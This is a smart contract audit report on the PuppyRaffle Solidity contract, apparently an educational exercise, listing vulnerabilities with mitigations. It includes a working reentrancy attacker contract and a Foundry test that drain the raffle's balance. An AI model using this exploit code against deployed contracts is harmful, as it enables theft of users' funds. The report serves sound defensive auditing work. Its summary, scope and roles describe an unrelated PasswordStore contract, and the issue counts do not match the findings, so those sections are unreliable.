Protocol Audit Report

Version 1.0

Duc Nghia Pham

March 4, 2024

Protocol Audit Report

Duc Nghia Pham

March 4, 2024

Prepared by: Duc Nghia Pham

Lead Security Researcher:

- Duc Nghia Pham

Table of Contents

    - [H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees
- MEDIUM
    - [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, inrementing gas costs for future entrants
    - [M-2] Unsafe cast of `PuppyRaffle::fee` loses fees
    - [M-3] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest
- LOW
    - [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player index 0 to incorrectly think they have not entered the raffle
- Gas
    - [G-1] Unchanged state variables should be declared constant or immutable
    - [G-2] Storage variable in a loop should be cached
- Information
    - [I-1] Solidity pragma should be specific, not wide
    - [I-2] Using an outdate version of Solidity is not recommended
    - [I-3]: Missing checks for `address(0)` when assigning values to address state variables
    - [I-4]: `Puppyraffle::selectWinner` does not follow CEI, which is not a best practice
    - [I-5]: Use of "magic" numbers is discouraged
    - [I-6]: State changes are missing events
    - [I-7]: `PuppyRaffle::_isActivePlayer` is never used and should be removed

Protocol Summary

PasswordStore is a protocol dedicated to storage and retrieval of a user's passwords. The protocol is designed to be used by a single user, and is not designed to be used by multiple users. Only the owner should be able to set and access this password.

Disclaimer

I (Duc Nghia Pham) make all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by me is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash:

The findings described in this document correspond the following commit hash:

```
2e8f81e263b3a9d18fab4fb5c46805ffc10a9990
```

Scope

```
./src/
#-- PasswordStore.sol
```

Roles

- Owner: The user who can set the password and read the password.
- Outsiders: No one else should be able to set or read the password.

Executive Summary

*I spend 5 hours using 3 tools: Forge, cloc, solidity metrics

Issues found

Severity	Number of issues found
Hight	2
Medium	3
Low	1
Info	7
Gas	2
Total	16

Findings

HIGH

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

@>      payable(msg.sender).sendValue(entranceFee);
@>      players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enter raffle
2. Attacker set up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code

Code

Place the following into `PuppyRaffleTest.t.sol`

```
    function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackerBalance = address(attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log("Starting attacker balance:", startingAttackerBalance);
        console.log("Starting contract balance:", startingContractBalance);

        console.log("Ending attacker balance:", address(attackerContract).balance);
        console.log("Ending contract balance:", address(puppyRaffle).balance);
    }
```

And this contract as well.

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if(address(puppyRaffle).balance > entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-       players[playerIndex] = address(0);
-        emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selctWinner` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp` and `block.dificulty` together creates a predictable find number. A predictable number is not a good random number. Malicious can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffle

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevdao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in this address being used to generated the winner!
3. User can revert their `selectWinner` transaction if they down't like the winner or resulting puppy. Using on-chain values as randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max
// 18446744073709551615
myVar = myVar + 1
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct number of fees, leaving fees parmantelly stuct in the contract.

Proof of Concept: 1. We conclude a raffle of 4 players 2. We then 93 players enter a new raffle, and conclude the raffle 3. `totalFees` will be

```
totalFees = totalFees + uint64(fee);
// aka
totalFees = 800000000000000000 + 17800000000000000000
// and this will overflow!
totalFees = 153255926290448384
```

4. You will not able to withdraw, due to the line in `PuppyRaffke:withdrawFees`:

```
    require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

Althought you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not intended design of the protocol. At some point, there will be too much `balance` in the contract that above `require` will be impossible to hit.

Code

```
    function testTotalFeesOverflow() public {
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();

        console.log(startingTotalFees);

        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);

        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees:", endingTotalFees);
        assert(endingTotalFees > startingTotalFees);

        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use `SafeMath` library of OpenZepplin for version 0.7.6 of solidity, however you will still have a hard time with the `uint64` type if too many fees are collected.
3. Remove balance check from `PuppyRaffle:withdrawFees`

```
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

MEDIUM

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, inrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `player` array to check for duplicates. However, the longer the `PuppyRuffle::players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle stats will be dramatically lower than who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
@>  for (uint256 i = 0; i < players.length - 1; i++) {
        for (uint256 j = i + 1; j < players.length; j++) {
            require(players[i] != players[j], "PuppyRaffle: Duplicate player");
        }
    }
```

Impact: The gas cost for raffle entrants will greatly increase as more player enter the raffle. Discouraging later users from entering, and causing a rust at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guarenteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6252048 gas - 2nd 100 players: ~18068138 gas

This more than 3x more expensive for the second 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`.

```
    function test_denialOfService() public {
        vm.txGasPrice(1);

        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of firt 100 players:", gasUsedFirst);

        address[] memory playersTwo = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            playersTwo[i] = address(i + playersNum);
        }
        uint256 gasStartSecond = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(playersTwo);
        uint256 gasEndSecond = gasleft();

        uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.gasprice;
        console.log("Gas cost of second 100 players:", gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation: There are a few recomandations

1. Consider allowing duplicates. User can make new wallet addresses anyways, so duplicate check doesn't prevent same person from entering multiple times, only the same wallet address.
2. Consider suing mapping to check for duplicates. This would allow constant time lookup whether a user has alrady entered.

```
+   mapping(address => uint256) public addressToRaffleId;
+   uint256 public raffleId = 0;
```

```
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
           PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
-           players.push(newPlayers[i]);
+           addressToRaffleId[newPlayers[i]] = raffleId;
        }

-       // Check for duplicates
+       // Check for duplicates only from the new players
-       for (uint256 i = 0; i < players.length - 1; i++) {
-          for (uint256 j = i + 1; j < players.length; j++) {
-              require(players[i] != players[j], "PuppyRaffle:
   Duplicate player");
-           }
-       }
+       for (uint256 i = 0; i < newPlayers.length; i++) {
+           require(addressToRaffleId[newPlayers[i]] != raffleId, "
   PuppyRaffle: Duplicate player");
+       }
        emit RaffleEnter(newPlayers);
    }
    .
    .
    .
    function selectWinner() external {
+       raffleId = raffleId + 1;
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
    }
```

Alternatively, you could use OpenZepplin's `EnumerableSet` library.

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description In `PuppyRaffle::selectWinner` there is a type cast of a `uint256` to `uint64`. This is unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
           players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
               timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];

        uint256 totalAmountCollected = players.length * entranceFee;

        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
@>      totalFees = totalFees + uint64(fee);

        uint256 tokenId = totalSupply();

        uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
        if (rarity <= COMMON_RARITY) {
            tokenIdToRarity[tokenId] = COMMON_RARITY;
        } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
            tokenIdToRarity[tokenId] = RARE_RARITY;
        } else {
            tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
        }

        delete players;
        raffleStartTime = block.timestamp;
        previousWinner = winner;

        (bool success,) = winner.call{value: prizePool}("");
        require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
    }
```

The max value of a uint64 is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the fee casting will truncate the value.

Impact: This means the feeAddress will not collect the correct amount of fees, leaving fees permanetly stuck in the contract.

Proof of Concept: 1. A raffle proceeds with a little more than 18 ETH worth of fees collected 2. The line that casts the fee as uint64 hits 3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
    uint256 max = type(uint64).max
    uint256 fee = max + 1
    uint64(fee)
    //prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a uint64, and remove the casting. There is a comment which says:

```
    // We do some storage packing to save gas
```

But the potential gas saved isn't worth if we have to recast and this bug exist.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
    .
    .
    .
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];

        uint256 totalAmountCollected = players.length * entranceFee;

        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to resart.

User could easily call `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a loterry reset diffucult.

Also, true winners would not get paid out and some else could take their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The loterry ends
3. The `selectWinner` function wouldn't work, event though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create mapping of address -> payout amount so winner can pull their funds out themselves with a new `calimPrize`, putting the owness on the winner to claim their prize. (Recommended)

> Pull over Push

LOW

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also 0 if the player is not in the array.

```
    function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player index 0 may incorrectly think they have not entered the raffle, and attemp to enter the raffke again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instance: - `PuppuRaffle::raffleDuration` should be `immutable` - `PuppuRaffle::commonImageUri` should be `constant` - `PuppuRaffle::rareImageUri` should be `constant` - `PuppuRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variable in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+   uint256 playersLength = player.length;
-   for (uint256 i = 0; i < players.length - 1; i++) {
+   for (uint256 i = 0; i < playersLength - 1; i++) {
-       for (uint256 j = i + 1; j < players.length; j++) {
+       for (uint256 j = i + 1; j < playersLength; j++) {
            require(players[i] != players[j], "PuppyRaffle: Duplicate player");
        }
    }
```

Information

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

  ```
  pragma solidity ^0.7.6;
  ```

[I-2] Using an outdate version of Solidity is not recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with any of the following Solidity versions:

`0.8.18` The recommendations take into account:

- Risks related to recent releases
- Risks of complex code generation changes
- Risks of new language features

- Risks of known bugs
- Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither documentation for more information.

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 69

```
        feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 183

```
        previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 205

```
        feeAddress = newFeeAddress;
```

[I-4]: `Puppyraffle::selectWinner` does not follow CEI, which is not a best practice

It’s best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
-    (bool success,) = winner.call{value: prizePool}("");
-    require(success, "PuppyRaffle: Failed to send prize pool to winner");
     _safeMint(winner, tokenId);
+    (bool success,) = winner.call{value: prizePool}("");
+    require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5]: Use of “magic” numbers is discouraged

It can be confusing to see number literals in a code base, and it’s much more readable if the numbers are given a name.

Examples:

```
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POLL_PRECISION = 100;
```

[I-6]: State changes are missing events

[I-7]: `PuppyRaffle::_isActivePlayer` is never used and should be removed